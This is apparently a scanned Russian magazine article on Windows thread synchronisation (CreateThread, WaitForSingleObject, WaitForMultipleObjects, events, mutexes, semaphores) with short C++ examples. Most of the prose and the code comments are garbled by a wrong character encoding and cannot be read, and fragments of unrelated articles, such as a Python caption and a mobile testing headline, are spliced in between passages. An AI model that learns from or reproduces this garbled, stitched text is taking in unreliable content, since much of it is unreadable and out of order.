ÖÏÅÉÍÁà ÉÎÕÁ ÓÁËÇÆ ÆÒÓÝ ÎÁ ÒÁÊÓÆ ÐÑÏÆËÓÁ) ÍÏÇÎÏ ÃÜ×ÆÐÉÓÝ ÉÈ ÐÁÍàÓÉ 
ÓÆÌÆÕÏÎÁ ÉÒÓÏÑÉß ÈÃÏÎËÏÃ, ÒÐÉÒÏË ËÏÎÓÁËÓÏÃ É ÍÎÏÄÏÆ ÅÑÔÄÏÆ. ¥ÔÍÁß, 
ØÓÏ à ÔÇÆ ÅÁÌ ÓÆÂÆ ÅÏÒÓÁÓÏØÎÏ ÉÎÕÏÑÍÁ×ÉÉ ÅÌà ÓÃÏÉÖ ÉÈÏÚÑÆÎÎÜÖ 
ËÏÅÆÑÒËÉÖ ÕÁÎÓÁÈÉÊ, ÅÆÑÈÁÊ ËÏÍÑÁÅ! z

Если ты все правильно сделал, главное окно будет выгля-
деть как-то так

Здороваемся с миром из Python



Ïäéêßëß
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² ÐÏàÃÌÆÎÉÆÍ ÍÎÏÄÏÈÁÅÁØÎÏÒÓÉ, Ã ÏÐÆÑÁ×ÉÏÎÎÜÖ ÒÉÒÓÆÍÁÖ ÏÒÓÑÏ 
ÃÒÓÁÌ ÃÏÐÑÏÒ ÐÏÓÏËÏÂÆÈÏÐÁÒÎÏÒÓÉ É ÒÏÃÍÆÒÓÎÏÄÏ ÅÏÒÓÔÐÁ Ë ÑÆÒÔÑÒÁÍ. 
¢ÏÌÝÙÉÎÒÓÃÏ ÒÏÃÑÆÍÆÎÎÜÖ ÐÑÉÌÏÇÆÎÉÊ ÓÁË ÉÌÉ ÉÎÁØÆ ÉÒÐÏÌÝÈÔßÓ 
ÓÑÆÅÜ Ã ÒÃÏÆÊ ÑÁÂÏÓÆ. °ÏÍÉÍÏ ÏÑÄÁÎÉÈÁ×ÉÉ ÏÂÑÁÂÏÓËÉ ÂÁÎÁÌÝÎÜÖ 
ÒÏÏÂÚÆÎÉÊ Windows, ËÏÓÏÑÜÆ ÏÓÐÑÁÃÌàßÓÒà ÞÌÆÍÆÎÓÁÍ ÄÑÁÕÉØÆÒËÏÄÏ 
ÉÎÓÆÑÕÆÊÒÁ (ÏËÎÁÍ, ËÎÏÐËÁÍ, ÐÏÌàÍ ÃÃÏÅÁ É Ó.Å.), ÍÎÏÄÏÐÏÓÏØÎÏÒÓÝ 
ÎÔÇÎÁ É Ã ÑàÅÆ ØÉÒÓÏ ÐÑÉËÌÁÅÎÜÖ ÈÁÅÁØ.
¸ÁÒÓÏ ÃÏÈÎÉËÁßÓ ÒÉÓÔÁ×ÉÉ, ËÏÄÅÁ ÎÁÍ ÓÑÆÂÔÆÓÒà ÅÏÇÅÁÓÝÒà ËÏÑÑÆËÓÎÏ-
ÄÏ ÈÁÃÆÑÙÆÎÉà ÈÁÐÔÚÆÎÎÏÄÏ ÓÑÆÅÁ, ÉÌÉ ÇÆ ÏÂÆÒÐÆØÉÓÝ ÍÏÎÏÐÏÌÝÎÜÊ 
ÅÏÒÓÔÐ Ã ÆÅÉÎÉØÎÜÊ ÍÏÍÆÎÓ ÃÑÆÍÆÎÉ Ë ËÁËÏÊ-ÎÉÂÔÅÝ ÄÌÏÂÁÌÝÎÏÊ 
ÐÆÑÆÍÆÎÎÏÊ. £ÒÆ ÞÓÉ ÈÁÅÁØÉ ÓÑÆÂÔßÓ ÏÓ ÐÑÏÄÑÁÍÍÉÒÓÁ ÑÆÙÉÓÝ ÃÏÐÑÏÒ 
Ï ÍÆÇÐÏÓÏØÎÏÊ ÒÉÎÖÑÏÎÉÈÁ×ÉÉ.
¥Ìà ÂÏÌÝÙÆÊ ÎÁÄÌàÅÎÏÒÓÉ ÍÏÇÎÏ ÑÁÒÒÍÏÓÑÆÓÝ ÒÌÆÅÔßÚÉÊ ËÏÅ:

¯ÇÉÅÁÆÍ ÈÁÃÆÑÙÆÎÉÆ ÐÏÓÏËÁ

// ǧȔȣȧȥȞȔșȠ ȣȢȦȢȞ
HANDLE hWorkerThread = ::CreateThread( ... );

// ǯșȤșȘ ȢȞȢȡȫȔȡȜșȠ ȤȔȕȢȦȯ ȡȔȘȢ ȞȔȞȜȠ-ȟȜȕȢ ȢȕȤȔțȢȠ ȥȢȢȕȭȜȦȰ
ȤȔȕȢȫșȠȧ ȣȢȦȢȞȧ, ȫȦȢ ȣȢȤȔ țȔȞȔȫȜȖȔȦȰ
...

// ǦȘșȠ țȔȖșȤȬșȡȜȳ ȣȢȦȢȞȔ
DWORD dwWaitResult = ::WaitForSingleObject( 
   hWorkerThread, INFINITE );
if( dwWaitResult != WAIT_OBJECT_0 ) 
{ 
   // ȢȕȤȔȕȢȦȞȔ ȢȬȜȕȞȜ
}

// ǵȱȡȘȟ ȣȢȦȢȞȔ ȠȢȚȡȢ țȔȞȤȯȦȰ
::CloseHandle( hWorkerThread );

£ ÞÓÏÍ ÐÑÉÍÆÑÆ ÍÜ ÒÏÈÅÁÆÍ ÐÏÓÏË Ò ÐÏÍÏÚÝß ÕÔÎË×ÉÉ CreateThread, Á 
ÈÁÓÆÍ, ÐÆÑÆÅ ÈÁÃÆÑÙÆÎÉÆÍ ÐÑÏÄÑÁÍÍÜ, ÏÇÉÅÁÆÍ, ËÏÄÅÁ ÎÁÙ ÐÏÓÏË ÏÓ-
ÑÁÂÏÓÁÆÓ, ØÓÏÂÜ ÈÁËÑÜÓÝ ÆÄÏ ÏÐÉÒÁÓÆÌÝ. ²ÏÂÒÓÃÆÎÎÏ, ÃÒà ÍÁÄÉà ÈÁËÌß-
ØÁÆÓÒà ÓÔÓ Ã API-ÕÔÎË×ÉÉ WaitForSingleObject. ®Ï ÏÂ ÞÓÏÍ ØÔÓÝ ÎÉÇÆ.

WaitForSingleObject и 
WaitForMultipleObjects
£ ÎÁÙÆÍ ÐÑÉÍÆÑÆ ÍÜ ÉÒÐÏÌÝÈÔÆÍ ÕÔÎË×Éß WaitForSingleObject ÅÌà 
ÃÑÆÍÆÎÎÏÊ ÐÑÉÏÒÓÁÎÏÃËÉ ÐÏÓÏËÁ, Ã ËÏÎÓÆËÒÓÆ ËÏÓÏÑÏÄÏ ÏÎÁ ÂÜÌÁ 
ÃÜÈÃÁÎÁ. °ÆÑÃÜÊ ÆÆ ÐÁÑÁÍÆÓÑ — ÞÓÏ ÖÆÎÅÌ ÏÂÛÆËÓÁ, ÉÈÍÆÎÆÎÉÆ ÒÏ-
ÒÓÏàÎÉà ËÏÓÏÑÏÄÏ ÍÜ ÏÇÉÅÁÆÍ. £ ÐÑÉÃÆÅÆÎÎÏÍ ËÏÅÆ ÍÜ ÒÌÆÅÉÍ ÈÁ 
ÏÐÉÒÁÓÆÌÆÍ ÐÏÓÏËÁ, ÎÏ ÆÒÓÝ É ÅÑÔÄÉÆ ÏÂÛÆËÓÜ àÅÑÁ, Ï ËÏÓÏÑÜÖ ÍÜ ÐÏ-

ÄÏÃÏÑÉÍ ØÔÓÝ ÐÏÈÇÆ. ̄ ÂÛÆËÓÜ àÅÑÁ ÍÏÄÔÓ ÎÁÖÏÅÉÓÝÒà Ã ÅÃÔÖ ÒÏÒÓÏàÎÉ-
àÖ: ÎÆÊÓÑÁÌÝÎÏÍ É ÒÉÄÎÁÌÝÎÏÍ. ³ÁË ÃÏÓ ÕÔÎË×Éà WaitForSingleObject 
ÈÁÎÉÍÁÆÓÒà ÓÆÍ, ØÓÏ ÇÅÆÓ, ËÏÄÅÁ ÏÂÛÆËÓ ÐÆÑÆÊÅÆÓ Ã ÒÉÄÎÁÌÝÎÏÆ 
ÒÏÒÓÏàÎÉÆ, ÐÑÉ ÞÓÏÍ ÐÏÓÏË, ÃÜÈÃÁÃÙÉÊ ÆÆ, ÒÏÃÆÑÙÆÎÎÏ ÎÆ ÑÁÒÖÏÅÔÆÓ 
ÐÑÏ×ÆÒÒÏÑÎÏÆ ÃÑÆÍà.
²ËÏÌÝËÏ ÃÑÆÍÆÎÉ ÇÅÁÓÝ ÎÁÒÓÔÐÌÆÎÉà ÒÉÄÎÁÌÝÎÏÄÏ ÒÏÒÓÏàÎÉà, API 
ÑÆÙÁÆÓ ÎÁ ÏÒÎÏÃÆ ÃÓÏÑÏÄÏ ÐÁÑÁÍÆÓÑÁ — ÃÑÆÍÆÎÉ Ã ÍÉÌÌÉÒÆËÔÎÅÁÖ. £ 
ÒÌÔØÁÆ ÆÄÏ ÉÒÓÆØÆÎÉà ÕÔÎË×Éà ÃÆÑÎÆÓ WAIT_TIMEOUT. ̄ ÇÉÅÁÓÝ ÉÈ-
ÍÆÎÆÎÉà ÒÏÒÓÏàÎÉà ÏÂÛÆËÓÁ ÍÏÇÎÏ ÂÆÒËÏÎÆØÎÏ, ÅÌà ÞÓÏÄÏ ÎÔÇÎÏ ÐÆÑÆ-
ÅÁÓÝ ÃÏ ÃÓÏÑÏÍ ÐÁÑÁÍÆÓÑÆ ÈÎÁØÆÎÉÆ INFINITE. ©ÌÉ ÇÆ ÍÏÇÎÏ ÃÏÏÂÚÆ 
ÎÆ ÐÑÉÏÒÓÁÎÁÃÌÉÃÁÓÝ ÐÏÓÏË, Á ÐÑÏÒÓÏ ÐÑÏÃÆÑÉÓÝ ÒÏÒÓÏàÎÉà ËÆÑÎÆÌ 
ÏÂÇÆËÓÁ, ÒÅÆÌÁÃ ÉÎÓÆÑÃÁÌ ÏÇÉÅÁÎÉà ÑÁÃÎÜÍ ÎÔÌß. «ÏÄÅÁ ÏÂÛÆËÓ 
ÐÆÑÆÖÏÅÉÓ Ã ÒÉÄÎÁÌÝÎÏÆ ÒÏÒÓÏàÎÉÆ, ÕÔÎË×Éà ÈÁÃÆÑÙÁÆÓÒà, ÃÏÈÃÑÁÚÁà 
ÈÎÁØÆÎÉÆ WAIT_OBJECT_0.
®Ï ÉÈ ÎÁÈÃÁÎÉà WaitForSingleObject ÅÏÌÇÎÏ ÂÜÓÝ ÐÏÎàÓÎÏ, ØÓÏ ÞÓÏ ÃÒÆ-
ÄÏ ÌÉÙÝ ØÁÒÓÎÜÊ ÒÌÔØÁÊ API-ÕÔÎË×ÉÉ WaitForMultipleObjects, ËÏÓÏÑÁà 
ÐÑÆÅÏÒÓÁÃÌàÆÓ ÄÏÑÁÈÅÏ ÂÏÌÝÙÆ ÃÏÈÍÏÇÎÏÒÓÆÊ. ¥ÁÃÁÊ ÃÈÄÌàÎÆÍ ÎÁ ÆÆ 
ÐÑÏÓÏÓÉÐ.

¯ÐÉÒÁÎÉÆ WaitForMultipleObjects

DWORD WINAPI WaitForMultipleObjects(
 __in DWORD nCount,
 __in const HANDLE *lpHandles,
 __in BOOL bWaitAll,
 __in DWORD dwMilliseconds
);

¯ÒÎÏÃÎÏÆ ÏÓÌÉØÉÆ ÞÓÏÊ API-ÕÔÎË×ÉÉ ÏÓ WaitForSingleObject Ã ÓÏÍ, ØÓÏ 
ÏÎÁ ÍÏÇÆÓ ÏÇÉÅÁÓÝ ÉÈÍÆÎÆÎÉà ÒÏÒÓÏàÎÉà ÒÑÁÈÔ ÎÆÒËÏÌÝËÉÖ ÏÂÛÆËÓÏÃ. 
¯ÐÉÒÁÓÆÌÉ ÞÓÉÖ ÏÂÛÆËÓÏÃ ÐÆÑÆÅÁßÓÒà Ã ÍÁÒÒÉÃÆ Ã ÐÁÑÁÍÆÓÑÆ const 
HANDLE *lpHandles. «ÏÌÉØÆÒÓÃÏ ÞÌÆÍÆÎÓÏÃ ÍÁÒÒÉÃÁ ÈÁÅÁÆÓÒà Ò ÐÏ-
ÍÏÚÝß DWORD nCount, Á BOOL bWaitAll ÐÏÈÃÏÌàÆÓ ÐÑÉÏÒÓÁÎÁÃÌÉÃÁÓÝ 
ÐÏÓÏË ÅÏ ÓÆÖ ÐÏÑ, ÐÏËÁ ÃÒÆ ÏÂÛÆËÓÜ àÅÑÁ ÎÆ ÐÆÑÆÊÅÔÓ Ã ÒÉÄÎÁÌÝÎÏÆ 
ÒÏÒÓÏàÎÉÆ.
£ÏÈÃÑÁÚÁÆÍÜÆ ÈÎÁØÆÎÉà ÐÑÁËÓÉØÆÒËÉ ÉÅÆÎÓÉØÎÜ ÈÎÁØÆÎÉàÍ 
WaitForSingleObject, Ò ÓÏÊ ÌÉÙÝ ÑÁÈÎÉ×ÆÊ, ØÓÏ ÆÒÌÉ bWaitAll == FALSE, 
ÓÏ Ã ÒÌÔØÁÆ ÔÒÓÁÎÏÃËÉ ÏÅÎÏÄÏ ÉÈ ÏÂÛÆËÓÏÃ Ã ÒÉÄÎÁÌÝÎÏÆ ÒÏÒÓÏàÎÉÆ ÍÜ 
ÐÏÌÔØÁÆÍ ÎÁ ÃÜÖÏÅÆ WAIT_OBJECT_0 + object_index_in_array. ³Ï ÆÒÓÝ, 
ÆÒÌÉ ÉÈ ÑÆÈÔÌÝÓÁÓÁ ÃÜØÆÒÓÝ WAIT_OBJECT_0, ÓÏ ÍÜ ÔÈÎÁÆÍ ÉÎÅÆËÒ ÏÂÛ-
ÆËÓÁ Ã ÍÁÒÒÉÃÆ, ËÏÓÏÑÜÊ ÐÆÑÆÙÆÌ Ã ÒÉÄÎÁÌÝÎÏÆ ÒÏÒÓÏàÎÉÆ.
³ÆÐÆÑÝ, ËÏÄÅÁ ÍÜ ÐÏÎàÌÉ, ËÁË ÑÁÂÏÓÁßÓ ÕÔÎË×ÉÉ WaitFor***, ÍÏÇ-
ÎÏ ÐÏÅÑÏÂÎÆÆ ÑÁÒÒÍÏÓÑÆÓÝ, ØÆÍ ÇÆ ÓÁËÉÍ àÃÌàßÓÒà ÏÂÛÆËÓÜ àÅÑÁ. 
WaitForMultipleObjects É ÉÇÆ Ò ÎÆÊ ÍÏÄÔÓ ÍÏÎÉÓÏÑÉÓÝ ÏÂÛÆËÓÜ ÒÏÂÜÓÉÊ 
(Events), ÍÝßÓÆËÒÜ, ÒÆÍÁÕÏÑÜ, ÐÑÏ×ÆÒÒÜ, ÐÏÓÏËÉ, ÓÁÊÍÆÑÜ ÏÇÉÅÁÎÉà, 
ËÏÎÒÏÌÝÎÜÊ ÃÃÏÅ É ÎÆËÏÓÏÑÜÆ ÅÑÔÄÉÆ ÃÉÅÜ ÏÂÛÆËÓÏÃ. ÝßÓÆËÒÜ, ÒÏ-

 Очень часто в наших статьях мы упоминали о тех или иных особенностях языка C++, касающих-
ся написания многопоточных приложений. C++ не имеет нативной поддержки работы со множе-
ством тредов, и поэтому программисту приходится самому заботиться о правильном поведении и 
безопасности своего кода. Для этих целей Windows предоставляет множество средств, о которых 
мы сегодня поговорим.

Ïðîãðàììåðñêèå 
òèïñû è òðèêñû: 
ñåêðåòû ìíîãîïîòî÷íîñòè

Изучаем 
модульное 
тестирование 
в сфере 
мобильного 
программинга
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ÂÜÓÉà É ÒÆÍÁÕÏÑÜ ÒÌÔÇÁÓ ÒÐÆ×ÉÁÌÝÎÏ ÅÌà ×ÆÌÆÊ ÒÉÎÖÑÏ-
ÎÉÈÁ×ÉÉ, ÐÏÞÓÏÍÔ ÎÁ ÎÉÖ ÒÓÏÉÓ ÏÒÓÁÎÏÃÉÓÝÒà ÐÏÅÑÏÂÎÆÆ.

Объект ядра Событие
²ÏÂÜÓÉÆ ÉÌÉ event — ÞÓÏ ÒÁÍÜÊ ÐÑÉÍÉÓÉÃÎÜÊ ÏÂÛ-
ÆËÓ ÒÉÎÖÑÏÎÉÈÁ×ÉÉ. °Ï ÒÔÓÉ, ÞÓÏ ÐÑÏÒÓÏ ÕÌÁÄ, ËÏÓÏÑÜÊ 
ÍÏÇÆÓ ÎÁÖÏÅÉÓÝÒà ÌÉÂÏ Ã ÎÆÊÓÑÁÌÝÎÏÍ ÒÏÒÓÏàÎÉÉ, ÌÉÂÏ 
Ã ÒÉÄÎÁÌÝÎÏÍ. ²ÏÈÅÁÓÝ ÉÃÆÎÓ ÍÏÇÎÏ Ò ÐÏÍÏÚÝß ÕÔÎË×ÉÉ 
CreateEvent.

¯ÐÉÒÁÎÉÆ CreateEvent

HANDLE WINAPI CreateEvent(
 __in_opt LPSECURITY_ATTRIBUTES lpEventAttributes,
 __in BOOL bManualReset,
 __in BOOL bInitialState,
 __in_opt LPCTSTR lpName
);

²ÏÂÜÓÉà ÉÍÆßÓ ÃÏÈÍÏÇÎÏÒÓÝ ÁÃÓÏÒÂÑÏÒÁ. ¥Ìà ÞÓÏÄÏ ÎÁÅÏ 
ÔÒÓÁÎÏÃÉÓÝ ÐÁÑÁÍÆÓÑ BOOL bManualReset Ã ÈÎÁØÆÎÉÆ 
FALSE. £ ÞÓÏÍ ÒÌÔØÁÆ ÐÑÉ ÏÂÑÁÂÏÓËÆ ÉÃÆÎÓÁ ÕÔÎË×ÉÆÊ 
WaitFor*** ÏÂÛÆËÓ ÁÃÓÏÍÁÓÉØÆÒËÉ ÐÆÑÆÊÅÆÓ Ã ÎÆÊÓÑÁÌÝÎÏÆ 
ÒÏÒÓÏàÎÉÆ. ¦ÒÌÉ ÇÆ bManualReset == TRUE, ÓÏ ÒÂÑÏÒ ÕÌÁÄÁ 
ÏÒÔÚÆÒÓÃÌàÆÓÒà ÕÔÎË×ÉÆÊ ResetEvent.
²ÏÂÜÓÉà ÍÏÄÔÓ ÂÜÓÝ ÉÍÆÎÏÃÁÎÎÜÍÉ É ÎÆ ÉÍÆÎÏÃÁÎÎÜÍÉ. £ 
ÐÆÑÃÏÍ ÒÌÔØÁÆ Ë ÉÃÆÎÓÔ ÍÏÇÎÏ ÐÏÌÔØÉÓÝ ÅÏÒÓÔÐ ÉÈ ÅÑÔÄÏÄÏ 
ÐÑÏ×ÆÒÒÁ, ÏÓËÑÜÃ ÏÂÛÆËÓ Ò ÐÏÍÏÚÝß API OpenEvent. ³ÁËÉÆ 
events ÔÅÏÂÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ ÐÑÉ ÍÆÇÐÑÏ×ÆÒÒÏÑÎÏÊ ÒÉÎÖÑÏ-
ÎÉÈÁ×ÉÉ. ³ÁËÇÆ ÒÏÂÜÓÉß ÍÏÇÎÏ ÈÁÅÁÓÝ ÎÁØÁÌÝÎÏÆ ÒÏÒÓÏàÎÉÆ 
Ò ÐÏÍÏÚÝß ÐÁÑÁÍÆÓÑÁ BOOL bInitialState. ¦ÒÌÉ ÏÎ ÑÁÃÆÎ 
TRUE, ÓÏ ÏÂÛÆËÓ ÂÔÅÆÓ ÒÏÈÅÁÎ ÒÑÁÈÔ Ã ÒÉÄÎÁÌÝÎÏÍ ÒÏÒÓÏàÎÉÉ.
Events Ã ÒÃàÈËÆ Ò WaitFor***-ÕÔÎË×ÉàÍÉ ÏÂÆÒÐÆØÉÃÁÆÓ 
ÐÑÏÒÓÏÊ É ÔÅÏÂÎÜÊ ÒÐÏÒÏÂ ÒÉÎÖÑÏÎÉÈÁ×ÉÉ ÐÏÓÏËÏÃ.

Объект ядра Мьютекс
ÝßÓÆËÒ (mutex) ÏØÆÎÝ ÐÏÖÏÇ ÎÁ event Ò ÁÃÓÏÒÂÑÏÒÏÍ, ÎÏ, Ã 
ÏÓÌÉØÉÆ ÏÓ ÐÏÒÌÆÅÎÆÄÏ, ÏÎ ÉÍÆÆÓ ÐÑÉÃàÈËÔ Ë ËÏÎËÑÆÓÎÏÍÔ 

ÐÏÓÏËÔ. ¦ÒÌÉ ÍÝßÓÆËÒ ÎÁÖÏÅÉÓÒà Ã ÒÉÄÎÁÌÝÎÏÍ ÒÏÒÓÏàÎÉÉ, 
ÓÏ ÒØÉÓÁÆÓÒà, ØÓÏ ÏÎ ÒÃÏÂÏÅÆÎ. «ÁË ÓÏÌÝËÏ ËÁËÏÊ-ÌÉÂÏ ÓÑÆÅ 
ÅÏÇÉÅÁÆÓÒà ÒÉÄÎÁÌÝÎÏÄÏ ÒÏÒÓÏàÎÉà mutex Ò ÐÏÍÏÚÝß 
ÕÔÎË×ÉÉ WaitFor***, ÏÂÛÆËÓ ÒÂÑÁÒÜÃÁÆÓÒà Ã ÎÆÊÓÑÁÌÝÎÏÆ 
ÒÏÒÓÏàÎÉÆ É ÒØÉÓÁÆÓÒà ÈÁÖÃÁØÆÎÎÜÍ ÞÓÉÍ ÐÏÓÏËÏÍ.
£ ÏÓÌÉØÉÆ ÏÓ ÒÏÂÜÓÉà, ÍÝßÓÆËÒ ÉÍÆÆÓ ÑÁÈÎÜÆ ÒÏÒÓÏàÎÉà 
ÅÌà ÑÁÈÎÜÖ ÓÑÆÅÏÃ. ³ÁË, ÅÌà ÐÏÓÏËÁ, ËÏÓÏÑÜÊ ÈÁÖÃÁÓÉÌ 
mutex, ÏÎ ÃÜÄÌàÅÉÓ ËÁË ÒÃÏÂÏÅÎÜÊ, É ÃÒÆ ÐÏÒÌÆÅÔßÚÉÆ 
ÃÜÈÏÃÜ WaitFor*** ÃÆÑÎÔÓ ÑÆÈÔÌÝÓÁÓ, ÄÏÃÏÑàÚÉÊ Ï ÓÏÍ, ØÓÏ 
ÏÂÛÆËÓ ÎÁÖÏÅÉÓÒà Ã ÒÉÄÎÁÌÝÎÏÍ ÒÏÒÓÏàÎÉÉ. £ÒÆ ÇÆ ÅÑÔÄÉÆ 
ÐÏÓÏËÉ ÂÔÅÔÓ ÃÉÅÆÓÝ ÆÄÏ ËÁË ÈÁÖÃÁØÆÎÎÜÊ ÏÂÛÆËÓ, ÓÏ ÆÒÓÝ Ã 
ÎÆÊÓÑÁÌÝÎÏÍ ÒÏÒÓÏàÎÉÉ É WaitFor*** API ÂÔÅÔÓ ÇÅÁÓÝ, ÐÏËÁ 
ÏÎ ÏÒÃÏÂÏÅÉÓÒà.
°ÆÑÆÃÆÒÓÉ ÍÝßÓÆËÒ ÏÂÑÁÓÎÏ Ã ÒÉÄÎÁÌÝÎÏÆ ÒÏÒÓÏàÎÉÆ ÍÏÇ-
ÎÏ Ò ÐÏÍÏÚÝß ÕÔÎË×ÉÉ ReleaseMutex. «ÑÏÍÆ ÓÏÄÏ mutex 
ÉÍÆÆÓ ÒØÆÓØÉË ÒÒÜÌÏË. ¾ÓÏ ÏÈÎÁØÁÆÓ, ØÓÏ ReleaseMutex 
ÎÁÅÏ ÃÜÈÜÃÁÓÝ ÒÓÏÌÝËÏ ÇÆ ÑÁÈ, ÒËÏÌÝËÏ ÂÜÌÉ ÃÜÈÃÁÎÜ 
WaitFor***.
¦ÒÌÉ ÐÏÎÉÍÁÎÉÆ ÓÏÄÏ, ØÆÍ ÍÝßÓÆËÒ ÏÓÌÉØÁÆÓÒà ÏÓ ÒÏÂÜÓÉà 
ÅÏ ÒÉÖ ÐÏÑ ÎÆ ÐÑÉÙÌÏ, ÓÏ ÒÏÃÆÓÔß ÃÈÄÌàÎÔÓÝ ÎÁ ÐÑÉÍÆÑ 
ÎÉÇÆ.

°ÑÉÍÆÑ ÑÁÂÏÓÜ Mutex

HANDLE hMutex;

void Func()
{
   ::WaitForSingleObject(hMutex, INFINITE);
   …
   ::ReleaseMutex(hMutex);
}

DWORD WINAPI thread1(LPVOID param)
{
   ::WaitForSingleObject(hMutex, INFINITE);
   
   Func();

http://goo.gl/H2NLa 
— ÃÒÆ, ØÓÏ ÃÜ ÖÏÓÆÌÉ 
ÈÎÁÓÝ Ï ÒÉÎÖÑÏÎÉÈÁ-
×ÉÉ Ã Windows, ÎÏ 
ÂÏàÌÉÒÝ ÒÐÑÏÒÉÓÝ.

links

HTTP://WWW
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CODING

   ::ReleaseMutex(hMutex);
}

DWORD WINAPI thread2(LPVOID param)
{
   ::WaitForSingleObject(hMutex, INFINITE);
   ...

   ::ReleaseMutex(hMutex);
}

int main(...)
{
   hMutex = ::CreateMutex(NULL, FALSE, NULL);

   HANDLE hThread1 = ::CreateThread(NULL, 0, thread1, ...);
   HANDLE hThread2 = ::CreateThread(NULL, 0, thread2, ...);
}

£ ÞÓÏÍ ËÏÅÆ ÐÏÓÏË thread1 ÅÃÁÇÅÜ ÃÜÈÜÃÁÆÓ WaitForSingleObject ÅÌà 
ÎÁÙÆÄÏ ÍÝßÓÆËÒÁ. °ÑÉØÆÍ ÃÜÈÏÃÜ ÞÓÉ ÃÌÏÇÆÎÜ ÅÑÔÄ Ã ÅÑÔÄÁ, ÓÏ ÆÒÓÝ 
ÒÎÁØÁÌÁ ÅÃÁ ÑÁÈÁ ÃÜÈÜÃÁÆÓÒà WaitForSingleObject, Á ÈÁÓÆÍ — ÅÃÁ ÑÁÈÁ 
ReleaseMutex. 
¯ÂÁ ÃÜÈÏÃÁ ÐÑÏÖÏÅàÓ WaitFor*** ÐÑÏÖÏÅàÓ ÄÌÁÅËÏ, ÓÁË ËÁË ÅÌà thread1 
ÎÁÙ ÍÝßÓÆËÒ ÎÁÖÏÅÉÓÒà Ã ÒÉÄÎÁÌÝÎÏÍ ÒÏÒÓÏàÎÉÉ, ÎÆÒÍÏÓÑà ÎÁ ÁÃÓÏ-
ÒÂÑÏÒ. ®Ï ÞÓÏÓ ÁÃÓÏÒÂÑÏÒ ÃÌÉàÆÓ ÎÁ thread2, ËÏÓÏÑÜÊ ÏÇÉÅÁÆÓ, ÐÏËÁ 
ÏÂÛÆËÓ ÒÓÁÎÆÓ ÒÃÏÂÏÅÎÜÍ.
¦ÒÌÉ ÂÜ ÍÜ ÉÒÐÏÌÝÈÏÃÁÌÉ ÉÃÆÎÓÜ, ÓÏ ÃÜÈÏÃ WaitForSingleObject Ã 
ÕÔÎË×ÉÉ Func Ã ÐÆÑÃÏÍ ÐÏÓÏËÆ ÐÑÉÃÆÌ ÂÜ Ë ÆÄÏ ÐÏÌÎÏÍÔ ÈÁÃÉÒÁÎÉß, 
ÎÏ ÂÌÁÄÏÅÁÑà ÒÃÏÊÒÓÃÔ ÍÝßÓÆËÒÁ ÐÑÉÃàÈÜÃÁÓÝÒà Ë ËÏÎÓÆËÒÓÔ ÐÏÓÏËÁ, 
ÞÓÏÄÏ ÎÆ ÐÑÏÉÈÏÙÌÏ.

Объект ядра Семафор (semaphore)
°ÏÃÆÅÆÎÉÆ ÒÆÍÁÕÏÑÁ ÒÌÏÇÎÆÆ, ØÆÍ Ô ÅÑÔÄÉÖ ÏÂÛÆËÓÏÃ ÒÉÎÖÑÏÎÉ-
ÈÁ×ÉÉ. ®ÆÒÍÏÓÑà ÎÁ ÓÏ, ØÓÏ Ô ÎÆÄÏ ÎÆÓ ÐÑÉÃàÈËÉ Ë ËÏÎÓÆËÒÓÔ ÐÏÓÏËÁ, 
ËÁË Ô ÍÝßÓÆËÒÁ, ÎÏ ÈÁÓÏ semaphore ÏÂÌÁÅÁÆÓ ÃÎÔÓÑÆÎÎÉÍ ÒØÆÓØÉ-
ËÏÍ. «ÁÇÅÜÊ ÑÁÈ, ËÏÄÅÁ WaitFor***-ÕÔÎË×Éà ÏÐÑÆÅÆÌàÆÓ ÒÆÍÁÕÏÑ Ã 
ÒÉÄÎÁÌÝÎÏÍ ÒÏÒÓÏàÎÉÉ, ÞÓÏÓ ÒØÆÓØÉË ÔÍÆÎÝÙÁÆÓÒà ÎÁ ÆÅÉÎÉ×Ô. «ÁË 
ÓÏÌÝËÏ ÒØÆÓØÉË ÅÏÒÓÉÄÎÆÓ ÎÔÌà, ÒÆÍÁÕÏÑ ÐÆÑÆÖÏÅÉÓ Ã ÎÆÊÓÑÁÌÝÎÏÆ 
ÒÏÒÓÏàÎÉÆ. ²ÏÈÅÁÓÝ semaphore ÍÏÇÎÏ Ò ÐÏÍÏÚÝß API-ÕÔÎË×ÉÉ 
CreateSemaphore.

¯ÐÉÒÁÎÉÆ CreateSemaphore

HANDLE WINAPI CreateSemaphore(
 __in_opt LPSECURITY_ATTRIBUTES lpSemaphoreAttributes,
 __in LONG lInitialCount,
 __in LONG lMaximumCount,
 __in_opt LPCTSTR lpName
);

«ÁË ÃÉÅÎÏ ÉÈ ÐÑÏÓÏÓÉÐÁ ÕÔÎË×ÉÉ, ÈÅÆÒÝ ÍÏÇÎÏ ÈÁÅÁÓÝ ÍÁËÒÉ-
ÍÁÌÝÎÏÆ ØÉÒÌÏ ÒØÆÓØÉËÁ (ÐÁÑÁÍÆÓÑ LONG lMaximumCount) É 
ÒÑÁÈÔ ÉÎÉ×ÉÁÌÉÈÉÑÏÃÁÓÝ ÞÓÏÓ ÒØÆÓØÉË ÎÆËÏÓÏÑÜÍ ØÉÒÌÏÍ (LONG 
lInitialCount). ReleaseSemaphore ÍÏÇÆÓ ÔÃÆÌÉØÉÓÝ ÞÓÏÓ ÒØÆÓØÉË, 
ÐÑÉØÆÍ ÎÆ ÏÂàÈÁÓÆÌÝÎÏ ÎÁ ÆÅÉÎÉ×Ô, Á ÎÁ ÎÆÏÂÖÏÅÉÍÏÆ ÈÁÅÁÎÎÏÆ 
ÈÎÁØÆÎÉÆ.
¯ÂÛÆËÓ ÒÆÍÁÕÏÑ ÍÏÇÆÓ ÉÒÐÏÌÝÈÏÃÁÓÝÒà ÅÌà ÏÄÑÁÎÉØÆÎÉà ØÉÒÌÁ ÁË-
ÓÉÃÎÜÖ ÐÏÓÏËÏÃ Ã ÐÑÉÌÏÇÆÎÉÉ ÉÌÉ ÅÌà ÅÑÔÄÉÖ ÂÏÌÆÆ ÒÌÏÇÎÜÖ ÈÁÅÁØ.

Критические секции
¦ÚÆ ÏÅÎÉÍ ÒÉÎÖÑÏÎÉÈÁ×ÉÏÎÎÜÍ ÐÑÉÍÉÓÉÃÏÍ àÃÌàßÓÒà critical 
section. ¥Ìà ÑÁÂÏÓÜ Ò ÎÉÍÉ ÆÒÓÝ ÒÃÏÊ ÎÁÂÏÑ API, É ÉÖ ÎÆÌÝÈà ÉÒ-
